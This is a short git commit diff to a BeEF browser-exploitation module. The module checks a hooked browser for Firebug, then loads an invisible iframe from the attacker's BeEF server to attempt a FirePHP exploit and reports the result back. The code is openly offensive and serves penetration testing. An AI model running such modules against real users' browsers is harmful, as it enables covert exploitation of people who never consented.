Use beef.net for URI

This commit is contained in:
Brendan Coles
2014-05-10 09:50:38 +00:00
parent 195e2ab830
commit dbeedb1d92
3 changed files with 3 additions and 14 deletions

View File

@@ -9,7 +9,7 @@ beef.execute(function() {
// detect firebug
if (window.console && (window.console.firebug || window.console.exception)) {
var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe();
firephp_<%= @command_id %>.src = "<%= @beef_url %>/firephp";
firephp_<%= @command_id %>.src = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/firephp";
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Module did not run. Firebug is not open in the hooked browser.");